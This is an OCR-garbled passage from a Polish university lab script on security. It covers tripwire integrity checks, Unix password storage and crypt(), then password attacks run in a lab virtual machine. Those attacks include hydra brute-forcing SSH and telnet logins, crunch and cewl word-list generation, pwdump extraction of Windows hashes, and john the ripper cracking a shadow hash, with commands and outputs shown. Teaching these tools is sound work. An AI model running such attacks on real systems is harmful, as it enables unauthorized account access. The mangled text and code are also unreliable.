Uzupetnij poprzedni program o daty modyfikacji pliku. Date modyfikacji pliku uzyska¢ mozna funkcja fstat. Przy
tworzeniu spisu zapisz w pliku wynikowym dodatkowo date modyfikacji i sprawdzaj ja podczas sprawdzania spojnosci
pliku.

9.4.4 Sprawdzanie spojnosci plikéw dla zadanego katalogu
Napisz program sprawdzania spéjnosci plikéw dla okreslonego katalogu podanego jako parametr. Do przegladania
katalogdw mozna uzy¢ funkcji opendi r i r eaddi r.

9.4.5 Rownolegle sprawdzanie spdjnosci plikow dla zadanego katalogu
Napisz rownolegta werge program sprawdzania spéjnosci plikéw dla okreslonego katal ogu podanego jako parametr.
Gdy przegladany katalog zawiera podkatalog, uruchom dla niego oddzielny proces.

9.4.6 Wykorzystanie programu tripwire sprawdzania integralnosci systemu plikow
Wykorzystujac maszyne wirtualng wyprébdj programt ri pwi r e sprawdzaniaintegralnosci systemu plikéw.

1. Zainstaluj programtri pwi r e oileniejest zainstalowany

2. Utworz kopie pliku/ et c/tri pwi re/ twpol .t xt onazwie/ etc/tri pw re/twpol .txt. bak
3. Utworzplik/ hone/ student/tri pwite-test.txt iwpisztam ustalong zawartosé

4.  Aby skréci¢ czas dziatania programu, zakomentuj wickszosé regut w pliku /etc/tripwire/twpol .txt

5

Dopisz plik do pliku konfiguracyjnego /etc/tripwire/twpol.txt regute sprawdzania pliku
/[ hone/ student/tripwite-test.txt

Przebuduj plik konfiguracyjny: $sudo twadmin -m P /etc/tripwire/twpol .txt
Wygeneruj nowg baze z sygnaturami i opisem parametréw plikéw: $sudo tripwire-mi

Sprawdz integralnos¢ systemu: $sudo tripwire-mc

© o N o

Zmien zawartosé plikutri pwi t e-test .t xt
10. Sprawdz ponownie integralnosé systemu.
Zbudvyj i przetestuj reguty:

Dopisywania pliku do katalogu

Kasowania pliku z katal ogu

Zmiany zawartosci jednego z plikéw w katalogu
Odczytu pojedynczego pliku

11. Odtworz z kopii pierwotny plik t wpol . t xt
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10. Ataki na hasta

10.1 Proceslogowania sie w systemach UNIX

Jak wiemy istnigje potrzeba ochrony dostepu do zasobdw komputera. W systemach rodziny UNIX atakze Windows,
podstawowa metoda ochrony opiera sie¢ na koncepcji uzytkownikéw i praw dostepu do plikéw ktdre reprezentuja
zasoby. Uzyskanie dostepu do zasobhéw komputera wymaga przejscia procesu weryfikacji ktéry polega na podaniu
nazwy uzytkownikai hasta. Mechanizm ten opisany jest w [16], [20]. Informacje o uzytkownikach przechowywane sa
w plikach/ et ¢/ passwd i /et ¢/ gr oup. Plik passwd sktadasi¢ z linii. Kazda z linii odpowiada jednemu
uzytkownikowi i sktadasi¢ z 7 pdl oddzielonych dwukropkiem ”:”.

Nazwa Nazwa uzytkownika

Hasto Skrét hasta, w wiekszosci systemow skrét hasta przechowywany jest w pliku

/ et ¢/ shadow. Znak x gdy wymagane podanie hasta, znak * gdy dany uzytkownik nie
moze si¢ zalogowac¢ do systemu, spacja gdy hasto nie jest wymagane.

UiD Liczbowy identyfikator uzytkownika. O dla administratora, 1-999 zarezerwowane,

GID Numer grupy do ktérej nalezy uzytkownik

Informacja Prawdziwa nazwa uzytkownikai inne informacje

Katalog Sciezka okreslajaca katalog domowy — katalog w ktory bedzie biezacy po zalogowaniu
Shell Sciezka do interpretera polecen, zwykle /bin/bash

Tab. 10-1 Zawartos¢ linii pliku passwd
Przyktad linii pliku passwd:
j uka: x: 1000: 1000: Jedrzej Ul asiewi cz :/hone/juka:/bin/bash

Uzytkownicy podzieleni s3 nagrupy. Opis grup zngjduje sie w pliku / et ¢/ gr oup. Przyktadowy plik gr oup dany
jest ponize.

root: x: O:

daenon: x: 1:

bi n: x: 2:

sys: x: 3:

adm x: 4: sysl og, j uka

Liniapliku/ et c/ gr oup zawiera nastepujace informacje:

Nazwa grupy

Hasto grupy, pole praktycznie nie uzywane, mozna wpisa¢ gwiazdke.
I dentyfikator grupy, liczba GID (ang. Group Identifier)

Opcjonalna lista uzytkownikéw nalezacych do grupy.

Pliki passwd i gr oup s3 plikami tekstowymi i mozna je edytowac za pomoca edytora tekstu, nie jest to jednak
zalecane. Lepig uzywa¢ odpowiednich programéw, np. passwd i adduser .

passwd — polecenie do zmiany hastai innych danych dotyczacych logowania
adduser - dodawanie nowego uzytkownika

W procesie logowania si¢ do systemu uzytkownik musi poda¢ swéj identyfikator i hasto. Skréty hasel przechowywane
sg w pliku/ et ¢/ shadow. Podczas |ogowania system sprawdza zgodnos¢ skrétu hasta z zapamietanym wzorcem i
udzielalub odmawia dostgpu do systemu. Do obliczania skrétu hasta wykorzystywane sq rézne algorytmy. Dawnigj byt
to zwykle algorytm M D5 obecnie najczescig) jest to algorytm shab12. Typ agorytmu zawarty jest w pliku

/ et ¢/ shadow. Plik sktada si¢ z linii odpowiadajacych poszczegolnym uzytkownikom. Kazda z linii sktada si¢ z pol
oddzielonych dwukropkiem, ich opis podany jest ponizej.

nazwe uzytkownika,

skrét hasta,

date ostatniej zmiany hasta,

minimalna liczbg dni miedzy zmianami hasta,

maksymalna liczbg dni miedzy zmianami hasta,

liczbe dni okreslajaca wyprzedzenie, z jakim nalezy ostrzega¢ uzytkownikéw o wygasnieciu hasta,
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liczbe dni od wygasniecia hasta, po uptywie ktorych konto zostanie wytaczone (Linux) lub liczbe dni, po
ktorych konto automatycznie wygasnie (Solaris),

date waznosci konta,

pole zarezerwowane, ktére obecnie jest puste

Obowiazkowe jest pole z nazwa uzytkownika i skrétem hasta, pozostate pola sa opcjonane. Dla przyktadu linia pliku
/ et ¢/ shadowdla uzytkownika jurek jest nastgpujaca:

j urek: $6$Wt hvpKH$GQveeew. Y3r bxq/ B7O9RZFMVWX2Q | Gonednz UA5EJ9t x2MpUwlJqYaOw sOkl TB
VaUt LUMBNAXTW6ZELY. xf E. : 17413: 0: 99999: 7: : :

Skrét hasta zaczyna sie od znaku dolara $ po ktdrym nastepujg znaki identyfikujace algorytm obliczania skrétu. Ich
znaczenie podane s3 za[4].

Symbol Algorytm obliczania skr6tu
$0 DES

$1 MD5

$2 Blowfish

$2A Eksblowfish

$5 SHA?256

$6 SHAG12

Tab. 10-2 Oznaczenia typu a gorytmu obliczania skrétu w pliku shadow

Tak wiec dla uzytkownikaj ur ek zastosowano algorytm SHA512. Po ciggu $6$ kolgjnych 8 znakéw to tak zwana sol
kryptograficzna (ang. salt). W przyktadzie wynosi ona: Wt hvpKH. SOl kryptograficznajest losowym parametrem 8
znakowym ktéry ma utrudni¢ odgadniecie hasta. Nawet jesli hasto jest proste, to do hasta dodawana jest sol
kryptograficznai dopiero wtedy obliczany jest skrét, co istotnie zwicksza przestrzen haset do odgadniecia. Zat6zmy, ze
mamy 3-znakowe hasto. Wiedzac, ze znakéw mozliwych do wprowadzenia ze standardowej klawiatury jest 94, liczba
préb potrzebnych do ztamania tego hasta wynosi 94 ° = 830584. Jednak dodanie soli 32 bitowej znakowej powicksza
te liczbe 2% razy. Zastosowanie soli kryptograficznej ma sens tyko przy utrudnianiu atakéw online, gdyz sdl jest
zawartaw pliku shadow.

10.2 Funkcjacrypt i jg zastosowanie
Do wyznaczania skrétu hasta moze by¢ uzyta biblioteczna funkcjacr ypt [10].

char *crypt(const char *key, const char *salt);

gdzie:

key Hasto podlegajace szyfrowaniu

sal t 2 znakowy punkt startowy szyfrowania. Pozwala tez nawybor algorytmu szyfrowania DES albo MD5.
Pierwsza warto$¢ parametru salt powinna by¢ przypadkowa

Funkcjacr ypt obliczawedtug algorytmu DES skrét tancucha sktadajacego sie z 8 zer, wedtug klucza (parametr key)
ktérym jest podane hasto. Algorytm DES stosowany jest 25 razy. W funkcji wykorzytywany jest takze parametr sal t
od ktdrego uzalezniony jest wynik. Dla agorytmdw opartych na DES, parametr sal t powinien sktada¢ si¢ z dwéch
znakow z zakresu ./0-9,A-Z,a-z co daje 4096 kombinacji. Pametr sal t powinen by¢ liczba losows i ma utrudni¢
deszyfracje hasta— dlatego samego hastaistnigje 4096 jego wariantow. Wynikiem dziatania funkcji cr ypt bedzie
zaszyfrowane hasto, zawierajace na pierwszych 2 znakach parametr sal t apozostate 11 znakow bedzie obliczone
wedtug agorytmu DES. Gdy zadamy dwukrotnego wprowadzenia hasta, w pierwszym wywotaniu parametr sal t
powinien by¢ przypadkowy, aw drugim by¢ wynikiem pierwszego wywotania. Procedura stosowana podczas
weryfikacji hasta polega natym ze w pierwszym kroku nie losujemy parametru sal t , tylko bierzemy go z bazy haset
znanych uzytkownikéw (pierwsze dwa znaki z zaszyfowanego hasta).

Opisana metoda szyfrowania haset oparta o algorytm DES jest obecnie uznawana za zbyt stabg. Efektywna dtugosé
kluczawynosi 8 znakdw co daje 256 kombinacji. Istnigjg ulepszone wese funkcji cr ypt . Jedna opartajest na
algorytmie MD-5 gdzie wykorzystuje sie 128 bitowg wersje parametru sal t . Gdy chcemy szyfrowaé¢ hasto
algorytmem MD-5 parametr sal t powinien si¢ zaczyna¢ od znakéw $1$ po ktdrych powinnno wystapi¢ do 8 znakow
zakonczonych kolejnym znakiem $ lub znakiem konca fancucha
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Doskonalsza funkcja stuzaca do jednokierunkowego szyfrowania haset jest funkcjabcer ypt  wykorzystujaca metode
Blowfish. Jest onawykorzystywanaw systemie OpenBSA

Uwaga, program zawiergjacy funkcje cr ypt kompilujemy z opcja - | cr ypt informujac linker by dotaczyt biblioteke
crypt.

Do wprowadzania hasta mozna uzy¢ funkcji get pass. Nie wyprowadza ona na konsol¢ wprowadzanych znakow co
utrudniaich podgladanie.

char *getpass( const char *pronpt);

gdzie:

pronpt | Wyswietlany nakonsoli znak zachety
Funkcjaget pass zwraca wprowadzony z konsoli tancuch.

Opisane wyzeg funkcje wykorzystane zostana w danych nizej przyktadach zaczerpnietych z [21]. Podany w pierwszym
przyktadzie programcr ypt 1. ¢ oblicza skrét (szyfruje) wg. algorytmu DES dla wprowadzanego z klawiatury hasta.
Obliczony skrét wyprowadzany jest na konsole.

Program drugi cr ypt - t est . ¢ prosi o wprowadzenie hasta, obliczajego skrét i sprawdza jego zgodnosé z
zapamig¢tanym skrétem prawidtowego hasta.

/1 Program oblicza skrot (szyfruje) podane haslo
/1 Komplilacja gcc haslo.c -0 haslo -lcrypt

#i ncl ude <stdio. h>

#i ncl ude <tinme. h>

#i ncl ude <uni std. h>

#i ncl ude <crypt. h>

#i ncl ude <string. h>

int main(void) {
char salt[3];
char *password;
int i;
strcpy(salt,"Ab");
/1l Czytaj haslo i szyfruj je
password = crypt(getpass("Password: "), salt);

/* Print the results. */

put s( password) ;

printf("haslo: % salt: %\n", password, salt);
return O;

Przyktad 10-1 Program wypisujacy zaszyfrowane hasto.
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/1 Program bada zgodnosc hasel : zapam etanego i wprowadzonego
/1 Komplilacja gcc haslo.c -0 haslo -lcrypt

/1 Prawi dl owe haslo to krypta

#i ncl ude <stdio. h>

#i ncl ude <string. h>

#i ncl ude <uni std. h>

#i ncl ude <crypt. h>

int main(void) {

/'l Zaszyfrowana postac hasla "krypta"
const char *const pass = "AbgwoG.TKGowc";
char *result;
int ok;
/1 Czytaj haslo podane przez uzytkowni ka
/'l Spodzi ewane hasl o jest paranmetrem salt
result = crypt(getpass("Password:"), pass);
/1l Porownaj wynik funkcji crypt ze spodzi ewanym hasl em
ok = strcnp (result, pass);
if(ok == 0) {

printf("dostep przyznany\n");

return 1;
} else {

printf("odnowa dostepu\n");

return O;

Przyktad 10-2 Program sprawdzajacy zgodnos¢ haset

10.3 Ataki online na hadta

10.3.1 Uzyskiwanielist uzytkownikow i haset

Klasyczne systemu uwierzytel niania oparte sa na nazwie uzytkownikai hasle. Sg one jednak zwykle niedostepne.
Metody uzyskiwania list potencjalnych nazw uzytkownikow i haset podaje praca[34]. Mozliwe nazwy uzytkownikow i
typowe hasta mozna uzyskac z Internetu, np. z witryny https://kennyvn.com/wordlists-password-dictionaries-for-kali-
linux/ . Inne witryny poswiecone hastom to:

https://packetstormsecurity.com/files/download/ , http://www.openwall.com/wordlist . Sg one takze w systemie Kali-
Linux w katalogu/ usr/ shar e/ wor dl i st s. Lepigj jednak dostosowac si¢ do lokalnych uwarunkowan. Wiele
instytucji uzywa identyfikatoréw uzytkownikow typu imie.nazwisko (tak robi tez Politechnika Wroctawska).
Potencjalne hasta mozna uzyska¢ z witryny internetowej danegj instytucji. Istniejg programy ktére to utatwiajg, jednym
z takich programodw jest cewl. Mozemy go zainstalowaé piszac:

#apt-get install cew

Po zainstalowaniu mozna uzyskaé spis opcji.

j uka@lbol : ~/ bus/ hasl a$ cewl --help
CeW. 5.1 Robin Wod (robin@igi.ninja) (http://digi.ninja)

Usage: cew [OPTION] ... URL
--hel p, -h: show help
--depth x, -d x: depth to spider to, default 2
--min_word length, -m mninumword | ength, default 3
--wite, -wfile: wite the output to the file
URL: adres URL badanej witryny

Ekran 10-1 Wazniejsze opcje programu cewl

Dziatanie programu mozna wyprobowa¢ na przyktadzie Politechniki Wroctawskie co pokazano ponizej.
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j uka@Jbol : ~/ bus/ hasl a$ cew -w politechnika.txt -d 1 -m3 https://pw. edu.pl
CeW. 5.1 Robin Wod (robin@igi.ninja) (http://digi.ninja)hrs4r

j uka@Jbol : ~/ bus/ hasl a$ head politechnika. t xt
var

br owser

new

t est

W o

Ekran 10-2 Przyktad dziatania programu c ewt

Opcja—w specyfikuje nazwe pliku wynikowego, -d gtebokos¢ zagtebienia si¢ w odnosniki, -m minmalna dtugosc¢
stowa.
Innym programem przydatnym przy tamaniu haset programem jest program cr unch ktory wedtug zadanych
regut tworzy zbior wszystkich mozliwych hasel.
Mozna go zainstalowat piszac:
#apt-get install crunch
Program uruchamia si¢ nastepujace:
$crunch <m n> <max> [ <specyfi kacj _znakoéw>] [ opcj e]

nmn - minimalna dtugos¢ hasta

nax - maksymalna dtugos¢ hasta

specyfi kacj a_znakéw — okresleniejakie znaki majg by¢ uzyte

opcj e — specyfikacjaopgji

-0 - nazwa pliku wynikowego

-t - wzorzec znakéw gdzie: @ - matalitera, , - duzalitera, % - cyfra, - symbol

Opis programu mozna uzyska¢ z manuala piszac:

$man crunch

Przyktady dziatania programu crunch pokazano ponizej.

Generacja haset dtugosci od 2 do 3 znakow sktadajacych si¢ z liter abe
$crunch 2 3 abc

Generacja haset ditugosci od 2 do 3 znakow sktadajacych si¢ z wszystkich liter
$crunch 2 3

Generacja haset dtugosci od 4 do 4 znakow sktadajacych si¢ z symbolu, dwaoch liter matychi cyfry, wyniki zapisane do
plikuwyni k2. t xt
$crunch 4 4 -t "@P -0 wyni k2.t xt

10.3.2 Narzedziatestujace hasta
W wiekszosci przypadkéw nie mafizycznego dostepu do testowanych systeméw nalezy wiec skorzysta¢ z dostepu
zdalnego. Przydatnym do tego celu narzedziem jest program hydra opisany w [34].

#apt-get install hydra

Program pobiera nazwy kolejnych uzytkownikéw z pliku (np. user s. t xt) i prébuje si¢ zalogowa¢ do danej ustugi
zlokalizowanej pod pewnym adresem | P. Hasta s3 pobierane z oddzielnego pliku i obstugiwana jest duzaliczba
protokotéw. Piszac polecenie hydr a uzyskujemy spis opcji programul.

j uka@lbol : ~/ bus/ hasl a$ hydra
Hydra v8.1 (c) 2014 by van Hauser/THC - Pl ease do not use in military or secret
service organi zations, or for illegal purposes.

Syntax: hydra [[[-] LO@N-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o0
FILE] [-t TASKS] [-MFILE [-T TASKS]] [-w TIME] [-WTIME] [-f] [-s PORT] [-x
M N: MAX: CHARSET] [-SuvVvd46] [service://server[:PORT][/OPT]]
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Opt i ons:
-1 LOG@Nor -L FILE login with LOG N nanme, or |oad several |ogins fromFILE
-p PASS or -P FILE try password PASS, or |oad several passwords from FILE
-C FILE colon separated "l ogin: pass” format, instead of -L/-P options

-MFILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS nunber of connects in parallel (per host, default: 16)
-U service nodul e usage details

-h nmore conmand |ine options (COVPLETE HELP)

server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see bel ow for supported protocols)
oPT sonme service nodul es support additional input (-U for nodul e hel p)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-
{head| get} http[s]-{get|post}-formhttp-proxy http-proxy-urlenumicq imp[s] irc
| dap2[s] |dap3[-{cramndigest}nd5][s] mssqgl nysql nntp oracle-listener oracle-sid
pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip snb
sntp[s] sntp-enum snnp socks5 ssh sshkey svn teanspeak telnet[s] vmauthd vnc

Xmpp

Hydra is a tool to guess/crack valid |ogin/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://ww.thc.org/thc-hydra
Don't use in mlitary or secret service organizations, or for illegal purposes.

Example: hydra -1 user -P passlist.txt ftp://192.168.0.1

Ekran 10-3 Opcje programu hydra
Aby uzy¢ programu hydra nalezy podat:

Nazwe pliku z nazwami uzytkownikéw

Nazwe pliku z hastami

Nazwe lub adres | P testowanego serwera

Nazwe ustugi lub odpowiadajacy jej humer portu

Informaje o programie hydra moznatez uzyska¢ z manuala piszac:
$man hydra

Aby wyprébowa¢ program hydra dodajmy w systemie wirtualnym uzytkownikat est o prostym hasle aaa.

root @al i : ~# adduser test
Addi ng user 'test’

Enter new UNI X password:
Ret ype new UNI X password:
passwd: password updated successfully

Przyktad 10-1 Dodanie uzytkownika test
Probujemy sie potaczy¢ z systemu macierzystego do docelowego jak ponize.

j uka@bol : ~/ bus/ hasl a$ ssh test @92. 168. 0. 204
test @92. 168. 0. 204' s password:

Last login: Fri Dec 16 02:28:24 2016 from 192. 168. 0. 155
test @ali:~$

Przyktad 10-2 Laczenie si¢ systemem wirtualnym
Dalgj w systemie macierzystym tworzymy plik o nazwie user s5. t xt zawiergjacy nazwe uzytkownika test.
$echo test > usersbh.txt

Nastepnie za pomoca programu cr unch tworzymy plik hasl a5. t xt zawierajacy wszystkie hasta o diugosci 3
znakow sktadajace sie z liter ab.
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j uka@bol : ~/ bus/ hasl a$ crunch 3 3 ab -0 hasl a5. t xt
Crunch will now generate the followi ng anbunt of data: 32 bytes
crunch: 100% conpl et ed generati ng out put

j uka@Jool : ~/ bus/ hasl a$ cat hasl a5. t xt

aaa

aab

aba

abb

baa

bab

bba

bbb

Przyktad 10-3 Tworzenie zbioru haset za pomoca programu crunch

Teraz mamy juz niezbedne pliki by dokona¢ ataku na komputer docelowy o adresie 192. 168. 0. 204 .Wykonujemy
to piszac polecenie jak ponize.

j uka@lbol : ~/ bus/ hasl a$ hydra -L users5.txt -P hasla5.txt 192.168.0. 204 ssh
Hydra v8.1 (c) 2014 by van Hauser/ THC - Pl ease do not use in military or secret
service organi zations, or for illegal purposes.

Hydra (http://ww.thc.org/thc-hydra) starting at 2017-09-06 18:21:01

[ WARNI NG Many SSH configurations limt the nunber of parallel tasks, it is
reconmended to reduce the tasks: use -t 4

[ DATA] max 8 tasks per 1 server, overall 64 tasks, 8 login tries (l:1/p:8), ~0
tries per task

[ DATA] attacking service ssh on port 22

[22][ssh] host: 192.168.0.204 | ogi n: test password: aaa

1 of 1 target successfully completed, 1 valid password found

Hydra (http://ww.thc.org/thc-hydra) finished at 2017-09-06 18: 21: 05

Przyktad 10-4 Zastosowanie programu hydra do zdal nego tamania haset wejscia do systemu, ustuga ssh

Jak wida¢ wszystko sie udato. W rzeczywistych przypadkach sprawy nie wygladaja tak prosto gdyz hasta zazwyczaj sa
dtuzsze. Podobnie mozna przeprowadzi¢ atak na hasta z wykorzystaniem ustugi t el net .

1. W systemiewirtualnym instalujemy ustuge t el net d o ile nie zostata wczesnigj zainstal owana.

#apt-get install telnetd
2. Modyfikujemy plik konfiguracyjny / et ¢/ i net d. conf dopisujac nastepujaca linig:

tel net stream tcp nowait telnetd /usr/sbin/tcpd /fusr/sbin/in.tel netd
3. Restaruyjemy ustuge inetd

systenct | restart inetd

4. Sprawdzamy czy ustugatelnet jest aktywna

#l sof -i

COWAND PID USER FD TYPE DEVI CE SI ZE/ OFF NODE NAME

dhclient 1969 root 6u | Pv4d 22354 0t0 UDP *: boot pc

i netd 4670 root 4u 1 Pv4 33759 0t0 TCP *:telnet (LISTEN)
i netd 4670 root 5u 1Pv4 33761 0t0 TCP *:ftp (LISTEN)

5. Tworzymy zbior wszystkich haset dtugosci 3 znakdw i zapisujemy do pliku hasla.txt
cunch 3 3 —o hasl a. txt
Plik z hastami przesytamy na komputer macierzysty np. za pomoca narzedzianc.

6. Nakomputerze macierzystym uruchamiamy program hydra jak pokazano ponizej. Szukamy hasta dla
uzytkownikat est , mozliwe hastasg w pliku hasl a. t xt .
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sysadm@ak0l: ~/ BUS$ hydra -|I test -P hasla.txt telnet://192.168.0. 103
Hydra v7.5 (c¢)2013 by van Hauser/ THC & David Maciejak - for |egal purposes only

Hydra (http://ww.thc.org/thc-hydra) starting at 2017-10-30 14: 10: 07

[WVARNING telnet is by its nature unreliable to analyze reliable, if possible
better choose FTP or SSH if avail able

[ DATA] 16 tasks, 1 server, 17576 login tries (|:1/p:17576), ~1098 tries per task
[ DATA] attacking service telnet on port 23

[23][tel net] host: 192.168.0. 103 | ogi n: test password: abc

1 of 1 target successfully completed, 1 valid password found

Hydra (http://ww.thc.org/thc-hydra) finished at 2017-10-30 14:10: 14

Przyktad 10-5 Zastosowanie programu hydra do zdal nego tamania haset wejscia do systemu, ustuga telnet
Jak wida¢ program znajduje hasto abc dla uzytkownika test.

10.4 Ataki offline na hagsla

Istnigje caty szereg programOw utatwiajacych ataki na hasta dostepu do systemu. Opisano je w pracach [4], [34] .
Mozna tu wymienié¢ programy hashcat (https://hashcat.net/hashcat/) czy j ohn t he ri pper (Kubarozpruwacz)
(http://www.openwall.com/john/). Programy tamiace hasta identyfikuja typ programu obliczajacego skrét i prébuja
dopasowa¢ hasta do istnigjacych skrétow. Wykorzystywane sa nastepujace metody:

Przegladu zupetnego — (ang. Brute force)
Stownikowa

Metody mieszane

Metoda teczowych tablic (ang. rainbow tables)

W metodzie przegladu zupetnego generuje si¢ wszystkie mozliwe hasta (do zadanej diugosci) i generuje skroty i
poréwnuje ze skrotami zawartymi w badanym pliku. Metoda ta zawsze prowadzi do uzyskania wyniku ale wymaga
nadzwyczaj duzo préb.

W metodzie stownikowej wykorzystuje sie stowniki danego jezyka, obliczadlanich skréty i poréwnuje ze skrétami
zawartymi w badanym pliku. Metoda wymaga mnigj prob, ae nie gwarantuje uzyskania wyniku. Stowniki stéw
wykorzystywanych jako hasta mozna pobra¢ z witryny http://www.md5this.com/tools’wordlists.html. Nalezy pobra¢
plik wiasciwy dla danego jezyka, dla polskiego bedzieto di ct i onary_pol i sh. di c.

abakanowi cz
abazur

abc
abchazj a
abchazj i
abcugach

Przyktad 10-6 Fragment stownika

Metody mieszane wykorzystuja stowniki ale uzupetniaja stowa kombinacjami innych znakéw, np. password,
passwordl, password12, password123,..

Metody teczowych wykorzystuje pliki w ktorych zawarte s3 potencjane hastai ich skréty. Nie potrzeba wiec traci¢
czasu naich obliczanie. Pliki takie sg jednak znacznych rozmiaréw. Na przyktad plik zawierajacy skréty dla
wszystkich haset algorytmu LM zajmuje 32M B [34]. Teczowe tablice s3 dostepne w sieci, np. pod adresem
http://proj ect-rainbowcrack.com/table.htm.

10.4.1 Haslaw systemie Windows

W systemie Windows 7 hasta przechowywane sa w pliku C:\Windows\System32\Config\SAM. Zawartos¢ tego pliku
jest zaszyfrowana narzedziem Windows Syskey za pomoca agorytmu RC4 co zapewnia dodatkowy stopien
zabezpieczenia. Klucz do tego narzedzia nazywa si¢ bootkey i jest przechowywany w pliku rejestru w gatezi SY STEM.
Plik ze skrétami haset moze by¢ odzyskany za pomoca programu pwdunp? (http://www.514.es/). Program nalezy
uruchomi¢ jako admininstrator, wyniki pokazano ponizej.
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D:zsPolitechnika~BUS~has laspuwdump?>Pulunp?.exe > win?-hash.txt
Pudump v?.1 - raw password extractor

Author: Andresz Tarasco Acuna

url: http:s--wm.514.es

Ekran 10-4 Uzyskanie skrétow haset systemu Windows za pomocg programu pwdump

Zawartos¢ pliku ze skrétami haset pokazano ponizej

Admi ni strator: 500: NO PASSWORD* * * * % * % * x x k%% *x x x x %% % 31 D6CFEOD16AE931B73C59D7EO0CES9CO: : :
GO[.: 501: NO PASSWORD! ¥ ***k*xkkkkxkkkkxkkk k% NO PASSWORD: * ¥ *¥ ¥k *kkkkkkkkkkkkk k- - -
ul aj ew: 1000: NO PASSWORD* * * * * %% ** k x x k%% % * x x x% - GOE2582EC16EE64D11AC32BFBDADDFDA: :

Przyktad 10-7 Przyktadowy plik ze skrétami haset z systemu Windows 7

10.4.2 Program john theripper
W ninigjszym skrypcie wykorzystamy program john the ripper. Aby zainstalowa¢ program w Ubuntu piszemy
polecenie:

#apt-get install john

Po pomyslngj instalacji mozna uzyska¢ spisopcji programu piszac:

j uka@Jbol : ~/ bus/ hasl a$ j ohn

John the Ri pper password cracker, version 1.8.0
Copyright (c) 1996-2013 by Sol ar Desi gner
Honepage: http://ww. openwal | . con j ohn/

Usage: john [ OPTI ONS] [ PASSWORD- FI LES]

--single "single crack" node

--wordlist=FILE --stdin wordl i st node, read words fromFILE or stdin
--rules enabl e word mangling rules for wordlist node

- -i ncrenent al [ =MODE] "incremental " nmode [using section MODE]

--show show cracked passwords

--test[ =TI Mg run tests and benchnmarks for TIME seconds each

--users=[-]LOGA NUD[,..] [do not] load this (these) user(s) only

--fork=N fork N processes

Przyktad 10-8 Niktére opcje programu john the ripper
Opis dziatania programu mozna uzyska¢ za pomoca polecenie:
$man j ohn

atakze nastronieinternetowej htt p: / / www. openwal | . conl j ohn/ or az w katalogu
/usr/share/ doc/info/john.

Dalgj mozna wyprdbowaé dziatanie programu piszac:
john —test

Szczegbty dziatania programu mozna wyspecyfikowaé w pliku konfiguracyjnym/ et ¢/ j ohn/ j ohn. conf . Aby
wyprébowat dziatanie programu nalezy pozyska¢ testowy plik ze skrétami haset. Dla przyktadu mozemy za pomoca
programu adduser doda¢ uzytkownikaj ur ek i przydzieli¢ mu hasto j ur ek1954. Ogladamy odpowiedni wpisw
pliku/ et c/ passwd i /etc/shadow.

cat /etc/passwd

jurek:x:1001: 1001: Jerzy Kowal ski, 1, 2,3, 4:/ hone/j urek:/bin/bash

sudo cp /etc/shadow shadow
sudo chnod +r shadow

cat shadow
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j urek: $6$Wt hvpKH$GQYeeew. Y3r bxq/ B7TOR2ZFMVX2Q | Gpnednz U45EJ9t x2MpUndJqYaOw sOkl TB
VaUt LUMBNAXTWEZELY. xf E. : 17413: 0: 99999: 7: : :

Program j ohn wymaga klasycznego pliku passwd (skréty hastaw pliku passwd aniew shadow), nalezy go wiec
utworzy¢ korzystajac z plikow / et ¢/ passwd, / et ¢/ shadowi programu unshadow.
nkdir hasl a

cd hasl a
sudo unshadow /et c/ passwd /etc/shadow > hasl a. t xt

Nastepnie za pomoca edytoratekstu lub poleceniatail tworzymy plik hasl a2. t xt zawierajacy tylko wpisdla
uzytkownikaj ur ek.

cat hasl a2.txt
j urek: $6$Wt hvpKH$GQveeew. Y3r bxq/ B7ORZFMVX2Q | Gonednz UA5EJ9t x2MpUwlJqYaOw sOkl TB
Valt LUMBNAXTW6ZELY. xf E. : 1001: 1001: Jer zy Kowal ski, 1, 2, 3, 4:/ home/ j ur ek: / bi n/ bash

Dalgj uruchamiamy program j ohn podajac jako parametr plik hasl a2. t xt .

j uka@Jbol : ~/ bus/ hasl a$ j ohn hasl a2.t xt

Loaded 1 password hash (crypt, generic crypt(3) [?/32])

Press 'q" or Crl-Cto abort, alnpost any other key for status

j urek1954 (j urek)

1g 0:00:07: 00 100% 1/3 0.002380g/s 52.11p/s 52.11lc/s 52.11C's

k11955. . j kowal ski 1951

Use the "--show' option to display all of the cracked passwords reliably
Sessi on conpl et ed

j uka@lbol : ~/ bus/ hasl a$ john --show hasl a2.txt

jurek:jurekl1954: 1001: 1001: Jerzy Kowal ski, 1, 2, 3, 4:/ home/ j ur ek: / bi n/ bash

1 password hash cracked, 0 |eft

Przyktad 10-9 L.amanie hasta za pomoca programu j ohn

Program zapisuje znalezione hastaw pliku ~. / j ohn/ j ohn. pot . Jezeli chcemy dokona¢ poréwnania szybkosci
dziatania programu dla réznych opcji, nalezy ten plik wykasowa¢. M ozna zaohserwowaé obciazenie rdzeni na
monitorze systemu. W powyzszym przyktadzie obciazony bedzie tyko jeden rdzen. Dziatanie programu mozna
przyspieszy¢ tworzac zadang liczbe procesdw ktére beda wykonywane na oddzielnych rdzeniach. W takim przypadku
nalezy uzy¢ opcji —f or k=l i czba_r dzeni co pokazuje ponizszy przykiad.

$j ohn —f ork=4 hasl a2. t xt

Kolglnym sposobem wykorzystania programu tamania haset jest wykorzystanie stownika. Aby skorzystac z tej
mozliwosci nalezy uzy¢ opgji:

--wordl i st =nazwa_pl i ku_sl owni ka - jakiego pliku uzyjemy jako stownika

--rules - nalezy uzy¢ stownika

Dla przyktadu wykorzystamy wspomniany juz stownik di ct i onary_pol i sh. di c. Pobieramy plik
di cti onary_polish. zi p ze strony http://www.md5this.com/tool s'wordlists.html a nastepnie rozpakowujemy.

$gunzi p dictionary_polish.zip
hasto rozpakowaniajest: nd5t hi s. com

Po zapisaniu stownikaw katalogu ~/ bus/ hasl a uruchamiamy programj ohn.

j uka@Jdbol : ~/ bus/ hasl a$ john --wordlist=dictionary polish.dic --rules hasla2.txt
Loaded 1 password hash (crypt, generic crypt(3) [?/32])
Press 'q" or Crl-Cto abort, alnmost any other key for status

Przyktad 10-10 t.amanie hasta za pomocg programu j ohn, metoda stownikowa

Dziatanie programu trwa dos¢ dtugo. Aby wyprobowaé prawidtowosé dziatanie programu mozemy utworzy¢
przyktadowy plik stownikowy zawierajacy szukane hasto.
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$echo jurekl1954 > hasl a. |l st
